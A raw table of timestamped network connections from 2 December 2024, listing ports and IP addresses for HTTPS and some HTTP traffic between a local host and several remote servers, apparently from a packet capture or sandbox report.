Dec 2, 2024 07:37:39.142036915 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:39.142524958 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:39.142553091 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:39.142959118 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:39.143023014 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:39.143584013 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:39.202270031 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:39.202270031 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:39.202291012 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:39.202301025 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:39.215831041 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.218686104 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.219182014 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.235838890 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.235855103 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.238415003 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.238420010 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.239402056 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.239417076 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.240099907 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.240104914 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.240452051 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.240479946 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.240952969 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.240957022 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.277762890 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.286863089 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.286878109 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.288017988 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.288026094 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.532056093 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.576376915 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.576391935 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.576905012 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.576910973 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.662614107 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.662687063 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.662745953 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.663328886 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.663424015 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.663466930 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.678410053 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.678483009 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.678550959 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.689908028 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.689938068 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.689950943 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.689949989 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.689958096 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.689965010 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.689985037 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.689990997 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.692676067 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.692702055 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.692713022 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.692718983 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.698750973 CET	49794	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.698775053 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.698837996 CET	49794	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.699069977 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.699109077 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.699198008 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.714092016 CET	49796	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.714117050 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.714186907 CET	49796	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.714293957 CET	49794	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.714313030 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.714438915 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.714458942 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.730021000 CET	49796	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.730036974 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.732377052 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.732459068 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.732523918 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.732640028 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.732654095 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.732675076 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.732681036 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.739476919 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.739505053 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.739577055 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.739700079 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.739712954 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.968350887 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.968461990 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.968544006 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.977993965 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.977993965 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.978013992 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.978027105 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.981903076 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.981945038 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:39.982019901 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.982187033 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:39.982198000 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.444643021 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.446141958 CET	49796	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.446155071 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.449412107 CET	49796	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.449417114 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.493838072 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.494518995 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.494527102 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.495297909 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.495302916 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.519717932 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.520284891 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.520302057 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.520968914 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.520975113 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.559663057 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.560254097 CET	49794	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.560273886 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.560750961 CET	49794	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.560755968 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.801032066 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.801594973 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.801616907 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.803484917 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.803491116 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.879782915 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.879852057 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.879928112 CET	49796	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.880722046 CET	49796	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.880737066 CET	443	49796	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.885111094 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.885140896 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.885195971 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.885514975 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.885526896 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.937570095 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.937642097 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.937712908 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.937941074 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.937941074 CET	49795	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.937956095 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.937963963 CET	443	49795	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.942672014 CET	49801	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.942707062 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.942768097 CET	49801	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.943005085 CET	49801	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.943021059 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.965354919 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.965434074 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.965717077 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.965998888 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.965998888 CET	49797	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.966018915 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.966027975 CET	443	49797	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.969158888 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.969192028 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:41.969269991 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.969439983 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:41.969458103 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.013461113 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.013551950 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.013608932 CET	49794	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.013917923 CET	49794	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.013931990 CET	443	49794	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.018171072 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.018205881 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.018285036 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.018650055 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.018666983 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.246121883 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.246175051 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.246234894 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.246664047 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.246664047 CET	49798	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.246681929 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.246691942 CET	443	49798	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.250086069 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.250111103 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:42.250201941 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.250447989 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:42.250461102 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.300769091 CET	80	49778	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:43.300860882 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:43.527364016 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.528182983 CET	49801	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.528204918 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.528697968 CET	49801	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.528707027 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.666117907 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.688977957 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.688992023 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.689503908 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.689507008 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.763271093 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.768336058 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.768352032 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.776216984 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.776222944 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.806344986 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.808897972 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.808923960 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.809374094 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.809381962 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.971997976 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.972084045 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.972220898 CET	49801	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.976229906 CET	49801	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.976249933 CET	443	49801	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.981777906 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.981816053 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:43.982100964 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.982197046 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:43.982204914 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.110694885 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.110773087 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.110856056 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.111764908 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.111776114 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.111795902 CET	49800	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.111802101 CET	443	49800	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.113102913 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.117928028 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.117937088 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.118619919 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.118624926 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.120829105 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.120865107 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.120951891 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.121062040 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.121074915 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.207719088 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.207792044 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.207956076 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.210669041 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.210681915 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.210690975 CET	49802	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.210696936 CET	443	49802	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.224942923 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.224981070 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.225087881 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.225317955 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.225339890 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.266751051 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.266825914 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.266885996 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.267232895 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.267256975 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.267270088 CET	49803	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.267276049 CET	443	49803	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.271039963 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.271070004 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.271171093 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.271377087 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.271395922 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.566582918 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.566643000 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.566700935 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.566951990 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.566967010 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.566982985 CET	49804	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.566988945 CET	443	49804	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.570466995 CET	49810	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.570511103 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:44.570583105 CET	49810	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.570776939 CET	49810	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:44.570792913 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:45.876657963 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:45.877274990 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:45.877290010 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:45.877762079 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:45.877767086 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:45.901372910 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:45.901874065 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:45.901896954 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:45.902431965 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:45.902437925 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.079876900 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.080621958 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.080657005 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.081142902 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.081150055 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.097055912 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.097657919 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.097698927 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.098165989 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.098172903 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.329535961 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.329586983 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.329751968 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.330065966 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.330066919 CET	49806	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.330080032 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.330101967 CET	443	49806	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.333708048 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.333746910 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.333841085 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.334037066 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.334048033 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.345729113 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.345788956 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.345861912 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.346143007 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.346157074 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.346210957 CET	49807	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.346215010 CET	443	49807	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.349513054 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.349534035 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.349628925 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.349819899 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.349828959 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.414360046 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.415091991 CET	49810	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.415112019 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.415591955 CET	49810	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.415596962 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.523374081 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.523441076 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.523550034 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.523843050 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.523854971 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.523868084 CET	49809	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.523874044 CET	443	49809	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.527390003 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.527436018 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.527529001 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.527718067 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.527730942 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.551462889 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.551534891 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.551584959 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.551908016 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.551923037 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.551940918 CET	49808	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.551963091 CET	443	49808	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.554955006 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.554980993 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.555144072 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.555300951 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.555318117 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.868172884 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.868232012 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.868288040 CET	49810	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.868554115 CET	49810	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.868575096 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.868590117 CET	49810	443	192.168.2.6	13.107.246.63
